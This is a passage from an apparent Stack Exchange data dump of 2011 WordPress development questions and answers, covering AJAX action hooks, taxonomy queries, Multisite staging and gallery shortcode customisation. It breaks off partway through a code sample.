  <row Id="23317" PostTypeId="2" ParentId="23279" CreationDate="2011-07-18T12:16:36.797" Score="1" ViewCount="" Body="&lt;p&gt;Since you're going to be modifying either the Loop Query or the Loop output, I would recommend modifying the appropriate template files directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To filter out Posts with the &quot;quote&quot; Post Format, simply wrap your Loop output (&lt;em&gt;inside&lt;/em&gt; of the if-have-posts-while-have-posts-the-post) with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! has_post_format( 'quote' ) ) {&#xA;    // Loop output goes here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, in your sidebar, you would create a custom Loop, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$linkpostargs = array(&#xA;    'tax_query' =&amp;gt; array(&#xA;        'taxonomy' =&amp;gt; 'post_format',&#xA;        'field'    =&amp;gt; 'slug',&#xA;        'terms'    =&amp;gt; array( 'post-format-link' ),&#xA;        'operator' =&amp;gt; 'IN'&#xA;    )&#xA;);&#xA;$link_posts = get_posts( $linkpostargs );&#xA;&#xA;foreach ( $link_posts as $link_post ) {&#xA;    // Custom Loop output goes here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(H/T &lt;a href=&quot;http://wordpress.mfields.org/2011/post-format-queries/&quot; rel=&quot;nofollow&quot;&gt;Michael Fields for the query args&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I honestly don't know how you'd replicate this functionality using a Plugin alone.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-18T12:16:36.797" CommentCount="1" />
  <row Id="23318" PostTypeId="1" AcceptedAnswerId="23320" CreationDate="2011-07-18T12:21:34.767" Score="2" ViewCount="63" Body="&lt;p&gt;I recently developed a small plugin for my site, that uses AJAX, and now I am trying to implement the same AJAX techniques for the same site's templates, but I keep getting &lt;code&gt;-1&lt;/code&gt; as the result, here is my code,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    //Front end AJAX functions&#xA;&#xA;    function eu_custom_query(){&#xA;        global $post;&#xA;        global $wpdb;&#xA;&#xA;        echo &quot;yo&quot;;&#xA;&#xA;        die();&#xA;    }&#xA;&#xA;function enque_template_scripts() {&#xA;&#xA;    wp_deregister_script( 'jquery' );&#xA;    wp_register_script( 'jquery', 'http://code.jquery.com/jquery-1.6.2.js');&#xA;    wp_enqueue_script( 'jquery' );&#xA;&#xA;&#xA;    // embed the javascript file that makes the AJAX request&#xA;    wp_register_script( 'scripts.js', get_bloginfo('template_directory').'/scripts/scripts.js');&#xA;    wp_enqueue_script( 'scripts.js' );&#xA;&#xA;    // declare the URL to the file that handles the AJAX request (wp-admin/admin-ajax.php)&#xA;    wp_localize_script( 'scripts.js', 'wp_ajax', array( 'ajaxurl' =&amp;gt; admin_url( 'admin-ajax.php' ) ) ); &#xA;&#xA;}    &#xA;&#xA;&#xA;    add_action('wp_ajax_custom_query', 'eu_custom_query');&#xA;    add_action('wp_ajax_nopriv_custom_query', 'eu_custom_query');&#xA;    add_action('get_header', 'enque_template_scripts');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;scripts.js:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function(){&#xA;    $(&quot;#do_ajax&quot;).click(function(){&#xA;            $.post(wp_ajax.ajaxurl, { action: 'eu_custom_query' }, function(data){&#xA;                alert(data);&#xA;            });&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using Wordpress version 3.2.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on what I'm doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="2632" LastActivityDate="2011-07-18T12:32:52.863" Title="AJAX function returning -1" Tags="&lt;jquery&gt;&lt;ajax&gt;" AnswerCount="2" />
  <row Id="23319" PostTypeId="2" ParentId="23315" CreationDate="2011-07-18T12:21:52.053" Score="2" ViewCount="" Body="&lt;p&gt;The error is occurring as the $_GET array doesn't have the item $_GET['do'] in it. Therefore it throws this notice. To check if something exisits in the array try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( isset( $_GET['do'] ) )&#xA;   $do_that = $_GET['do'];&#xA;else&#xA;   $do_that = '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or a cleaner method would be to use short hand notation&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$do_that = ( isset( $_GET['do'] ) ) ? $_GET['do'] : '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2264" LastActivityDate="2011-07-18T12:21:52.053" CommentCount="2" />
  <row Id="23320" PostTypeId="2" ParentId="23318" CreationDate="2011-07-18T12:25:33.360" Score="3" ViewCount="" Body="&lt;p&gt;You are passing 'eu_custom_query' as the action in your AJAX. It should be 'custom_query'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You decide the action name, when you add the action i.e. 'wp_ajax_my_action' would be called 'my_action'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are confusing it with the callback method. Hope that makes sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. to fix your code change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_ajax_custom_query', 'eu_custom_query');&#xA;add_action('wp_ajax_nopriv_custom_query', 'eu_custom_query');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_ajax_eu_custom_query', 'eu_custom_query');&#xA;add_action('wp_ajax_nopriv_eu_custom_query', 'eu_custom_query');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2264" LastActivityDate="2011-07-18T12:25:33.360" CommentCount="2" />
  <row Id="23321" PostTypeId="2" ParentId="23318" CreationDate="2011-07-18T12:32:52.863" Score="2" ViewCount="" Body="&lt;p&gt;I see two issues:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;noConflict&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script#jQuery_noConflict_wrappers&quot; rel=&quot;nofollow&quot;&gt;requires noConflict wrappers for jQuery&lt;/a&gt;. So this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function(){&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...needs to be this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...so that &lt;code&gt;$&lt;/code&gt; will work properly inside the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Blanket replacement of core-bundled script&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you are nakedly replacing the core-bundled jQuery, which you should &lt;em&gt;never do&lt;/em&gt;, or you will risk breaking things in the WP-Admin backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any such code &lt;strong&gt;must&lt;/strong&gt; be wrapped inside an &lt;code&gt;if ( ! is_admin() )&lt;/code&gt; conditional:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! is_admin() ) {&#xA;    wp_deregister_script( 'jquery' );&#xA;    wp_register_script( 'jquery', 'http://code.jquery.com/jquery-1.6.2.js');&#xA;    wp_enqueue_script( 'jquery' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-18T12:32:52.863" CommentCount="1" />
  <row Id="23322" PostTypeId="1" CreationDate="2011-07-18T12:35:24.527" Score="1" ViewCount="126" Body="&lt;p&gt;I want to use built-in WP media gallery. I'm trying to simply add images in one - horizontal line. I want images with original size and without any link. I'm trying to add/edit some code into wp-admin/includes/media.php but I can't get it ;/ I know I have to use size=&quot;full&quot; and columns=&quot;0&quot; but how to add this with shortcode as default? And I have no idea how to get rid of links under images? Am I looking in good file? If no - point me to right direction please ;)&lt;/p&gt;&#xA;" OwnerUserId="7113" LastActivityDate="2011-07-19T21:49:24.923" Title="Media gallery - inserting full size images without link" Tags="&lt;gallery&gt;&lt;media&gt;&lt;image-size&gt;" AnswerCount="3" />
  <row Id="23323" PostTypeId="1" AcceptedAnswerId="23325" CreationDate="2011-07-18T12:35:30.547" Score="0" ViewCount="29" Body="&lt;p&gt;I have registered custom post type Article in my template using &lt;strong&gt;register_post_type&lt;/strong&gt;  function. and i also having  taxonomy category for this article posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here i want to filter the posts under particular category. using query post&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i do this &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance !&lt;/p&gt;&#xA;" OwnerUserId="4022" LastActivityDate="2011-07-18T12:48:45.457" Title="how can i get posts from custom post type particular taxonomy category" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;query-posts&gt;" AnswerCount="1" />
  <row Id="23324" PostTypeId="1" CreationDate="2011-07-18T12:44:33.673" Score="1" ViewCount="42" Body="&lt;p&gt;I have this query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  $new = new WP_Query(array('post_type'=&amp;gt;'support','order'=&amp;gt;'DESC', 'meta_key'=&amp;gt;'post_views_count', 'orderby'=&amp;gt; 'meta_value_num', 'posts_per_page'=&amp;gt;'20'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the result set is pulling the correct number of posts, from the custom post type &lt;code&gt;support&lt;/code&gt; but the posts are not ordered by the meta_value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot fathom why this is as the codex shows this is the correct way to order by a custom meta value?&lt;/p&gt;&#xA;" OwnerUserId="4816" LastActivityDate="2011-07-18T15:59:34.010" Title="orderby in custom WP Query does not work" Tags="&lt;custom-post-types&gt;&lt;wp-query&gt;&lt;post-meta&gt;" AnswerCount="0" CommentCount="1" />
  <row Id="23325" PostTypeId="2" ParentId="23323" CreationDate="2011-07-18T12:48:45.457" Score="1" ViewCount="" Body="&lt;p&gt;If you read &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query#Taxonomy_Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Class_Reference/WP_Query#Taxonomy_Parameters&lt;/a&gt; in detail it outlines everything you need. Take a look at the following code sample taken from the codex. It should help you :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'post_type' =&amp;gt; 'Article', /* This is where you should put your Post Type */&#xA;    'tax_query' =&amp;gt; array(&#xA;        array(&#xA;            'taxonomy' =&amp;gt; 'people',&#xA;            'field' =&amp;gt; 'slug',&#xA;            'terms' =&amp;gt; 'bob'&#xA;        )&#xA;    )&#xA;);&#xA;$query = new WP_Query( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please note that this query does NOT account for paginated data.&lt;/p&gt;&#xA;" OwnerUserId="2264" LastActivityDate="2011-07-18T12:48:45.457" CommentCount="1" />
  <row Id="23326" PostTypeId="1" CreationDate="2011-07-18T12:49:33.533" Score="1" ViewCount="48" Body="&lt;p&gt;I'm trying to build an online portfolio for a quantity of text content I've produced. I don't have to skills to design it myself or the money to pay someone, so I thought using a CMS with a free theme might be a possible way to solve my problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to use WP as a portfolio rather than a blog? (i.e. not have content appear date-stamped any in reverse chronological order?) If so, what kind of theme or other add-on would I look for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for someone really simple, but sleek and polished looking. I could just put a bunch of *.txt files on an ftp server, but I'm looking for something that looks just a little better and more professional, while still being free.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7115" LastActivityDate="2011-07-18T18:03:47.323" Title="Is it possible to use Wordpress as an online portfolio for text content? What kind of theme would I look for?" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;&lt;themes&gt;&lt;customization&gt;&lt;plugin-recommendation&gt;" AnswerCount="2" />
  <row Id="23327" PostTypeId="1" CreationDate="2011-07-18T12:53:40.513" Score="2" ViewCount="128" Body="&lt;p&gt;Here's my setup. I have a Multisite instance running at &lt;a href=&quot;http://example.com&quot; rel=&quot;nofollow&quot;&gt;http://example.com&lt;/a&gt;, and I want to do development and staging. Moving an existing Multisite instance of WP onto localhost is a nightmare, so I'm going to do dev on a staging location instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set up &lt;a href=&quot;http://staging.example.com&quot; rel=&quot;nofollow&quot;&gt;http://staging.example.com&lt;/a&gt; to point to the /public_html/staging/ directory of the hosting account, and copied all of the WP files from my root into the /staging/ directory. I also copied the database files (SQL dump, imported the tables into a new database), and changed the wp-config.php file to point to the new database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After running SQL to change the database records, I also change this one line in the wp-config.php file: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/** Turning on WordPress MU, new in 3.0 */&#xA;define( 'MULTISITE', true );&#xA;define( 'SUBDOMAIN_INSTALL', false );&#xA;$base = '/';&#xA;define( 'DOMAIN_CURRENT_SITE', 'example.com' ); // &amp;lt;- I change this line&#xA;define( 'PATH_CURRENT_SITE', '/' );&#xA;define( 'SITE_ID_CURRENT_SITE', 1 );&#xA;define( 'BLOG_ID_CURRENT_SITE', 1 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Changed to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( 'DOMAIN_CURRENT_SITE', 'staging.example.com' ); // &amp;lt;- now changed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I load up &lt;a href=&quot;http://staging.example.com&quot; rel=&quot;nofollow&quot;&gt;http://staging.example.com&lt;/a&gt;, I get... &lt;code&gt;Error establishing database connection&lt;/code&gt;!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked and triple checked the username and password, made sure that the user has all privileges on the new staging database, and I've left the DBHOST as 'localhost' (although changing it to staging.example.com didn't help, either).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why would the database connection fail? Anyone? (Thanks for your help in advance.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;NB:&lt;/strong&gt; &lt;a href=&quot;http://example.com&quot; rel=&quot;nofollow&quot;&gt;http://example.com&lt;/a&gt; is working fine running on very similar db connection settings, just with a different database, so it's not an issue with the database server being down.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="871" LastActivityDate="2011-08-22T12:33:23.497" Title="DB connection error after copying a WordPress Multisite instance to a second location" Tags="&lt;multisite&gt;&lt;database&gt;&lt;staging&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="23328" PostTypeId="2" ParentId="23326" CreationDate="2011-07-18T13:03:55.787" Score="2" ViewCount="" Body="&lt;p&gt;Well you could use Pages inside WP. They differs from Post in the fact that are not chronological order and so doesn't present date-stamped. The order of appearance you define.&lt;/p&gt;&#xA;" OwnerUserId="6691" LastActivityDate="2011-07-18T13:03:55.787" CommentCount="1" />
  <row Id="23329" PostTypeId="2" ParentId="23322" CreationDate="2011-07-18T13:04:05.200" Score="1" ViewCount="" Body="&lt;p&gt;No&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Do not hack core files.  &lt;/li&gt;&#xA;&lt;li&gt;The full size image is an option by default, you can change it under Settings--&gt;Media  &lt;/li&gt;&#xA;&lt;li&gt;To remove the link just delete the field that says &quot;Link URL&quot;.  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-07-18T13:04:05.200" CommentCount="1" />
  <row Id="23330" PostTypeId="1" CreationDate="2011-07-18T13:27:05.033" Score="0" ViewCount="15" Body="&lt;pre&gt;&lt;code&gt;add_action( 'init', 'register_cpt_trip' );&#xA;&#xA;function register_cpt_trip() {&#xA;&#xA;$labels = array( &#xA;    'name' =&amp;gt; _x( 'Trips', 'trip' ),&#xA;    'singular_name' =&amp;gt; _x( 'Trip', 'trip' ),&#xA;    'add_new' =&amp;gt; _x( 'Add New', 'trip' ),&#xA;    'add_new_item' =&amp;gt; _x( 'Add New Trip', 'trip' ),&#xA;    'edit_item' =&amp;gt; _x( 'Edit Trip', 'trip' ),&#xA;    'new_item' =&amp;gt; _x( 'New Trip', 'trip' ),&#xA;    'view_item' =&amp;gt; _x( 'View Trip', 'trip' ),&#xA;    'search_items' =&amp;gt; _x( 'Search Trips', 'trip' ),&#xA;    'not_found' =&amp;gt; _x( 'No trips found', 'trip' ),&#xA;    'not_found_in_trash' =&amp;gt; _x( 'No trips found in Trash', 'trip' ),&#xA;    'parent_item_colon' =&amp;gt; _x( 'Parent Trip:', 'trip' ),&#xA;    'menu_name' =&amp;gt; _x( 'Trips', 'trip' ),&#xA;);&#xA;&#xA;$args = array( &#xA;    'labels' =&amp;gt; $labels,&#xA;    'hierarchical' =&amp;gt; false,&#xA;&#xA;    'supports' =&amp;gt; array( 'title', 'editor' ),&#xA;    'taxonomies' =&amp;gt; array( 'type', 'destination', 'level' ),&#xA;    'public' =&amp;gt; true,&#xA;    'show_ui' =&amp;gt; true,&#xA;    'show_in_menu' =&amp;gt; true,&#xA;    'menu_position' =&amp;gt; 5,&#xA;&#xA;    'show_in_nav_menus' =&amp;gt; true,&#xA;    'publicly_queryable' =&amp;gt; true,&#xA;    'exclude_from_search' =&amp;gt; false,&#xA;    'has_archive' =&amp;gt; true,&#xA;    'query_var' =&amp;gt; true,&#xA;    'can_export' =&amp;gt; true,&#xA;    'rewrite' =&amp;gt; true,&#xA;    'capability_type' =&amp;gt; 'post'&#xA;);&#xA;&#xA;register_post_type( 'trip', $args );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3120" LastActivityDate="2011-07-18T13:27:05.033" Title="why my taxonomies don't show on admin under trips?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" CommentCount="1" />
  <row Id="23331" PostTypeId="2" ParentId="17669" CreationDate="2011-07-18T13:36:43.560" Score="2" ViewCount="" Body="&lt;p&gt;I would use &lt;code&gt;wp_get_attachment_image()&lt;/code&gt; (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_attachment_image&quot; rel=&quot;nofollow&quot;&gt;Codex ref&lt;/a&gt;), which returns a fully-formed HTML IMG tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;wp_get_attachment_image( $attachment_id, $size, $icon ); &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I assume you already know how to get the attachment image ID?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default image size is &lt;code&gt;thumbnail&lt;/code&gt;, but you can pass any standard image size (e.g. &lt;code&gt;full&lt;/code&gt;, &lt;code&gt;large&lt;/code&gt;, &lt;code&gt;medium&lt;/code&gt;), or any custom image size added via &lt;code&gt;add_image_size()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-18T13:36:43.560" />
  <row Id="23332" PostTypeId="1" AcceptedAnswerId="23333" CreationDate="2011-07-18T13:41:25.757" Score="0" ViewCount="50" Body="&lt;p&gt;What i'm trying to do here is to modify the existing wp-postratings plugin. The function to display the ratings is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(function_exists('the_ratings')) { the_ratings(); } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, the above code displays the ratings on every post. What would be the conditional statement to add such that if a post has a custom field with name/value as ratings/yes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way, based on the conditional statement, the ratings would be displayed only on posts where the custom field has the ratings/yes added.&lt;/p&gt;&#xA;" OwnerUserId="5411" LastActivityDate="2011-07-18T14:58:51.647" Title="How to display a feature only if custom field value is set?" Tags="&lt;conditional-tags&gt;" AnswerCount="1" />
  <row Id="23333" PostTypeId="2" ParentId="23332" CreationDate="2011-07-18T13:47:57.130" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// get the value of our custom field&#xA;$meta_value = get_post_meta($post-&amp;gt;ID, 'ratings', true);&#xA;// if it's not empty and the_ratings function exists:&#xA;if( !empty($meta_value) &amp;amp;&amp;amp; function_exists('the_ratings') ){&#xA;    the_ratings();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastEditorUserId="4771" LastEditorDisplayName="" LastEditDate="2011-07-18T14:58:51.647" LastActivityDate="2011-07-18T14:58:51.647" CommentCount="2" />
  <row Id="23334" PostTypeId="2" ParentId="23322" CreationDate="2011-07-18T13:49:40.843" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've just submitted &lt;a href=&quot;http://core.trac.wordpress.org/ticket/18178&quot; rel=&quot;nofollow&quot;&gt;a core patch to add &lt;code&gt;link=&quot;none&quot;&lt;/code&gt; support&lt;/a&gt; to the &lt;code&gt;[gallery]&lt;/code&gt; shortcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ORIGINAL ANSWER&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't need to hack core to do what you want to do; just use &lt;a href=&quot;http://codex.wordpress.org/Gallery_Shortcode&quot; rel=&quot;nofollow&quot;&gt;the appropriate &lt;code&gt;[gallery]&lt;/code&gt; shortcode parameters&lt;/a&gt;, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[gallery columns=&quot;0&quot; size=&quot;full&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to change the defaults, then use the &lt;code&gt;post_gallery&lt;/code&gt; filter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mytheme_gallery_shortcode_defaults( $output, $attr ) {&#xA;    global $post;&#xA;    $attr = array(&#xA;        'columns' =&amp;gt; '0',&#xA;        'size' =&amp;gt; 'full'&#xA;    );&#xA;    return $output;&#xA;}&#xA;add_filter( 'post_gallery', 'mytheme_gallery_shortcode_defaults', 10, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only way to remove the link is to clear the image link field in the Media Library, or you can &lt;a href=&quot;http://blog.mattsatorius.com/technology/web-design/wordpress-gallery-shortcode-with-no-image-link/&quot; rel=&quot;nofollow&quot;&gt;do some involved code replacement&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm somewhat guessing here, as I'm not fully familiar with filtering the gallery output. I've made a couple of modifications, including passing both variables to the callback, correcting the &lt;code&gt;add_filter()&lt;/code&gt; call to accommodate both variables, and returning &lt;code&gt;$output&lt;/code&gt; rather than &lt;code&gt;$attr&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay, so it looks like, currently, the only way to override th shortcode attributes is to rewrite the entire walker. See &lt;a href=&quot;http://core.trac.wordpress.org/ticket/15155&quot; rel=&quot;nofollow&quot;&gt;this Trac Ticket&lt;/a&gt; for details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, basically, this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mytheme_gallery_shortcode( $output, $attr ) {&#xA;    global $post, $wp_locale;&#xA;&#xA;    static $instance = 0;&#xA;    $instance++;&#xA;&#xA;    // Allow plugins/themes to override the default gallery template.&#xA;    $output = apply_filters('post_gallery', '', $attr);&#xA;    if ( $output != '' )&#xA;        return $output;&#xA;&#xA;    // We're trusting author input, so let's at least make sure it looks like a valid orderby statement&#xA;    if ( isset( $attr['orderby'] ) ) {&#xA;        $attr['orderby'] = sanitize_sql_orderby( $attr['orderby'] );&#xA;        if ( !$attr['orderby'] )&#xA;            unset( $attr['orderby'] );&#xA;    }&#xA;&#xA;    extract(shortcode_atts(array(&#xA;        'order'      =&amp;gt; 'ASC',&#xA;        'orderby'    =&amp;gt; 'menu_order ID',&#xA;        'id'         =&amp;gt; $post-&amp;gt;ID,&#xA;        'itemtag'    =&amp;gt; 'dl',&#xA;        'icontag'    =&amp;gt; 'dt',&#xA;        'captiontag' =&amp;gt; 'dd',&#xA;        'columns'    =&amp;gt; 0,&#xA;        'size'       =&amp;gt; 'full',&#xA;        'include'    =&amp;gt; '',&#xA;        'exclude'    =&amp;gt; '',&#xA;                'link'       =&amp;gt; 'none'&#xA;    ), $attr));&#xA;&#xA;    $id = intval($id);&#xA;    if ( 'RAND' == $order )&#xA;        $orderby = 'none';&#xA;&#xA;    if ( !empty($include) ) {&#xA;        $include = preg_replace( '/[^0-9,]+/', '', $include );&#xA;        $_attachments = get_posts( array('include' =&amp;gt; $include, 'post_status' =&amp;gt; 'inherit', 'post_type' =&amp;gt; 'attachment', 'post_mime_type' =&amp;gt; 'image', 'order' =&amp;gt; $order, 'orderby' =&amp;gt; $orderby) );&#xA;&#xA;        $attachments = array();&#xA;        foreach ( $_attachments as $key =&amp;gt; $val ) {&#xA;            $attachments[$val-&amp;gt;ID] = $_attachments[$key];&#xA;        }&#xA;    } elseif ( !empty($exclude) ) {&#xA;        $exclude = preg_replace( '/[^0-9,]+/', '', $exclude );&#xA;        $attachments = get_children( array('post_parent' =&amp;gt; $id, 'exclude' =&amp;gt; $exclude, 'post_status' =&amp;gt; 'inherit', 'post_type' =&amp;gt; 'attachment', 'post_mime_type' =&amp;gt; 'image', 'order' =&amp;gt; $order, 'orderby' =&amp;gt; $orderby) );&#xA;    } else {&#xA;        $attachments = get_children( array('post_parent' =&amp;gt; $id, 'post_status' =&amp;gt; 'inherit', 'post_type' =&amp;gt; 'attachment', 'post_mime_type' =&amp;gt; 'image', 'order' =&amp;gt; $order, 'orderby' =&amp;gt; $orderby) );&#xA;    }&#xA;&#xA;    if ( empty($attachments) )&#xA;        return '';&#xA;&#xA;    if ( is_feed() ) {&#xA;        $output = &quot;\n&quot;;&#xA;        foreach ( $attachments as $att_id =&amp;gt; $attachment )&#xA;            $output .= wp_get_attachment_link($att_id, $size, true) . &quot;\n&quot;;&#xA;        return $output;&#xA;    }&#xA;&#xA;    $itemtag = tag_escape($itemtag);&#xA;    $captiontag = tag_escape($captiontag);&#xA;    $columns = intval($columns);&#xA;    $itemwidth = $columns &amp;gt; 0 ? floor(100/$columns) : 100;&#xA;    $float = is_rtl() ? 'right' : 'left';&#xA;&#xA;    $selector = &quot;gallery-{$instance}&quot;;&#xA;&#xA;    $gallery_style = $gallery_div = '';&#xA;    if ( apply_filters( 'use_default_gallery_style', true ) )&#xA;        $gallery_style = &quot;&#xA;        &amp;lt;style type='text/css'&amp;gt;&#xA;            #{$selector} {&#xA;                margin: auto;&#xA;            }&#xA;            #{$selector} .gallery-item {&#xA;                float: {$float};&#xA;                margin-top: 10px;&#xA;                text-align: center;&#xA;                width: {$itemwidth}%;&#xA;            }&#xA;            #{$selector} img {&#xA;                border: 2px solid #cfcfcf;&#xA;            }&#xA;            #{$selector} .gallery-caption {&#xA;                margin-left: 0;&#xA;            }&#xA;        &amp;lt;/style&amp;gt;&#xA;        &amp;lt;!-- see gallery_shortcode() in wp-includes/media.php --&amp;gt;&quot;;&#xA;    $size_class = sanitize_html_class( $size );&#xA;    $gallery_div = &quot;&amp;lt;div id='$selector' class='gallery galleryid-{$id} gallery-columns-{$columns} gallery-size-{$size_class}'&amp;gt;&quot;;&#xA;    $output = apply_filters( 'gallery_style', $gallery_style . &quot;\n\t\t&quot; . $gallery_div );&#xA;&#xA;    $i = 0;&#xA;    foreach ( $attachments as $id =&amp;gt; $attachment ) {&#xA;                $image = wp_get_attachment_image( $id, $size, false );&#xA;        $link = isset($attr['link']) &amp;amp;&amp;amp; 'file' == $attr['link'] ? wp_get_attachment_link($id, $size, false, false) : wp_get_attachment_link($id, $size, true, false);&#xA;                $image_output = ( 'none' == $attr['link'] ? $image : $link );&#xA;&#xA;        $output .= &quot;&amp;lt;{$itemtag} class='gallery-item'&amp;gt;&quot;;&#xA;        $output .= &quot;&#xA;            &amp;lt;{$icontag} class='gallery-icon'&amp;gt;&#xA;                $image_output&#xA;            &amp;lt;/{$icontag}&amp;gt;&quot;;&#xA;        if ( $captiontag &amp;amp;&amp;amp; trim($attachment-&amp;gt;post_excerpt) ) {&#xA;            $output .= &quot;&#xA;                &amp;lt;{$captiontag} class='wp-caption-text gallery-caption'&amp;gt;&#xA;                &quot; . wptexturize($attachment-&amp;gt;post_excerpt) . &quot;&#xA;                